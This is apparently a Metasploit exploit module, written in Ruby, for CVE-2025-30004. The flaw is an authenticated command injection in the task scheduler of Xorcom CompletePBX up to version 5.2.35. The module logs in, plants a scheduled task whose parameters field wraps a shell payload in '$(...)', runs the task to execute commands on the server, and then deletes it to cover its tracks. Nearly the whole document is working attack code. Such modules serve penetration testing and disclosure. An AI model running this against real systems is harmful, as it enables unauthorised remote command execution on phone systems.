1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248
|
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'Xorcom CompletePBX Authenticated Command Injection via Task Scheduler', 'Description' => %q{ This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled input is improperly sanitized, allowing arbitrary command execution with web server privileges.
Only the superadmin user (admin) has the necessary permissions to trigger this exploit. Even when creating a new user with maximum privileges, the vulnerability does not work. }, 'Author' => [ 'Valentin Lobstein' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-30004'], ['URL', 'https://www.xorcom.com/products/completepbx/'], ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] ], 'Privileged' => false, 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-03-02', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) )
register_options([ OptString.new('USERNAME', [true, 'Valid CompletePBX username']), OptString.new('PASSWORD', [true, 'Valid CompletePBX password']), ]) end
def check print_status('Checking if the target is running CompletePBX...')
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' })
return Exploit::CheckCode::Unknown('No response from target.') unless res return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
doc = res.get_html_document
if doc.at('//meta[@name="description"][@content="CompletePBX"]') || doc.at('//meta[@name="application-name"][@content="Ombutel"]')
print_good("Detected CompletePBX on #{peer}") return Exploit::CheckCode::Appears end
return Exploit::CheckCode::Safe('Target does not appear to be running CompletePBX.') end
def login print_status("Attempting authentication with username: #{datastore['USERNAME']}")
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login'), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'userid' => datastore['USERNAME'], 'userpass' => datastore['PASSWORD'] } })
unless res fail_with(Failure::Unreachable, 'No response from target') end
unless res.code == 200 fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") end
sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first
unless sid_cookie fail_with(Failure::NoAccess, 'Authentication failed: No session ID received') end
print_good("Authentication successful! Session ID: #{sid_cookie}") return sid_cookie end
def get_latest_task_id(sid_cookie, task_desc) print_status("Retrieving latest task ID for description: #{task_desc}...")
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'vars_get' => { 'class' => 'scheduler', 'method' => 'tasks', 'offset' => '0', 'max' => '20', 'search' => '' }, 'cookie' => sid_cookie })
unless res fail_with(Failure::Unreachable, 'No response from target while fetching tasks') end
json_res = res.get_json_document tasks = json_res['rows']
unless tasks fail_with(Failure::UnexpectedReply, 'Failed to retrieve task list') end
tasks.each do |task| if task[2] == task_desc print_good("Found task with ID: #{task[0]}") return task[0] end end
fail_with(Failure::NotFound, "Could not find the task with description: #{task_desc}") end
def create_task(sid_cookie) task_desc = Faker::Lorem.sentence(word_count: 4) notes = Faker::Lorem.paragraph(sentence_count: 3) print_status("Creating malicious scheduled task with description: #{task_desc}")
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'cookie' => sid_cookie, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'script' => 'backup', 'description' => task_desc, 'starting' => Time.now.strftime('%Y-%m-%d %H:%M'), 'interval' => '1', 'interval_unit' => 'month', 'parameters' => "$(#{payload.encoded})", 'notes' => notes, 'data' => '0', 'class' => 'scheduler', 'method' => 'save_task', 'mode' => 'create' } })
unless res fail_with(Failure::Unreachable, 'No response from target while creating task') end
json_res = res.get_json_document state = json_res['state']
if state == 'success' print_good('Malicious task successfully created.') return task_desc else fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') end end
def run_task(sid_cookie, task_id) print_status("Executing malicious task ID #{task_id}...")
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'cookie' => sid_cookie, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'class' => 'scheduler', 'method' => 'run_task', 'mode' => 'run', 'data' => task_id.to_s } })
unless res fail_with(Failure::Unreachable, 'No response from target while executing task') end
print_good('Task executed successfully!') end
def delete_task(sid_cookie, task_id) %w[delete deleteConfirmed].each do |mode| print_status("Sending delete request (mode=#{mode}) for task ID #{task_id}...")
send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'cookie' => sid_cookie, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'class' => 'scheduler', 'method' => 'delete_task', 'mode' => mode, 'data' => task_id.to_s } }) end
print_good("Task #{task_id} deleted successfully!") end
def exploit sid_cookie = login task_desc = create_task(sid_cookie) task_id = get_latest_task_id(sid_cookie, task_desc) run_task(sid_cookie, task_id) delete_task(sid_cookie, task_id) end end
|